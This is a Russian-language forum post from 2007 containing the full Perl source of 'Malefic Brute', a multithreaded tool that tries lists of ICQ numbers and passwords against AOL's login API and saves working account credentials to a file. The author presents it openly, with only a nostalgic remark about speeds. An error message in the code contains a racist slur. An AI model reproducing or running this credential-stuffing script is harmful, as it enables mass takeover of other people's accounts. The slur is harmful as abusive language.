Тема: Malefic Brute 2.2
Показать сообщение отдельно
Старый 25.12.2007, 23:36   #32
Участник
 
Аватар для Rpsl
 
Регистрация: 08.03.2007
Сообщений: 331

По умолчанию

PHP код:
#!/usr/bin/perl -w

#
# coding     rpsl & ezhi
# core       #define TRUE FALSE
#

use strict;

use 
threads;
use 
Thread::Queue;
use 
Storable qw/ freeze thaw /;
require 
IO::Socket::SSL;


my $queue = Thread::Queue->new;
my $host='api.screenname.aol.com';
my $good="0";

my @threads;

for (
0..100) {
    
push @threads, threads->create(\&brute);
}

open(Icqnum, "./uins.txt") || die;
open(Icqpwd, "./passwords.txt") || die;

my @passwords;
while (
my $password = <Icqpwd>) {
        
chomp $password;
        
push @passwords, $password if $password;
}
close(Icqpwd);

while (
my $icq = <Icqnum>) {
        
chomp $icq;
        foreach 
my $password (@passwords) {
                
$queue->enqueue(freeze([$icq, $password]));
        }
}
close ( Icqnum );

for (@
threads) {
    
$_->join;
}


sub brute{

    while (
my $str = $queue->dequeue) {
 
my ($icq, $pwd) = @{thaw($str)};
        
#print STDERR "$icq / $pwd\n";
        
my $buf = z_post('auth/directLogin',"devId=[devid]&referer=[link]&s=$icq&pwd=$pwd&f=sq&sig_sha1=[sha1]");
        if (
$icq % 200 == 0) {
                
open(Backup, "> ./backup.txt");
                print 
Backup "$icq\n";
                
close(Backup);
        }
        if(
$buf=~/statusText=OK/){
                
my $good++;
        print 
"$icq [$pwd]  ------------------- G00D\n";
                
open(Result, ">>./good.txt") || die "fuckoffnigga";
                print 
Result "$icq;$pwd\n";
                
close(Result);

        } else {
                print 
STDERR "$icq;[$pwd] | bad |\n";

        }
    }
}

sub z_post{
        
my $act=shift;
        
my $data = shift;
        
my $buf;
        
my $sock = IO::Socket::SSL->new(PeerAddr => $host,PeerPort => 443,Proto => 'tcp',Timeout => 30 ) ||
        
warn "I encountered a problem: ", &IO::Socket::SSL::errstr();
        
my $post = "POST /".$act." HTTP/1.0\r\n";
        
$post.= "Accept: */*\r\n";
        
$post.= "Content-Type: application/x-www-form-urlencoded\r\n";
        
$post.= "Content-Length: ".length($data)."\r\n";
        
$post.= "Referer: $host\r\n";
        
$post.= "User-Agent: Internet Explorer 6.0\r\n";
        
$post.= "Connection:close\r\n\r\n$data";
        print 
$sock "$post" || warn "cant print in sock: ",&IO::Socket::INET::errstr();

        while (<
$sock>)
                {
                        
$buf.=$_;
                }
                if (
$sock)
                        {
                
close ($sock); }
                else {print 
"\n"}
        return 
$buf;
} 
эх.. какие скорости то развивали.
__________________
Rpsl.info
Rpsl вне форума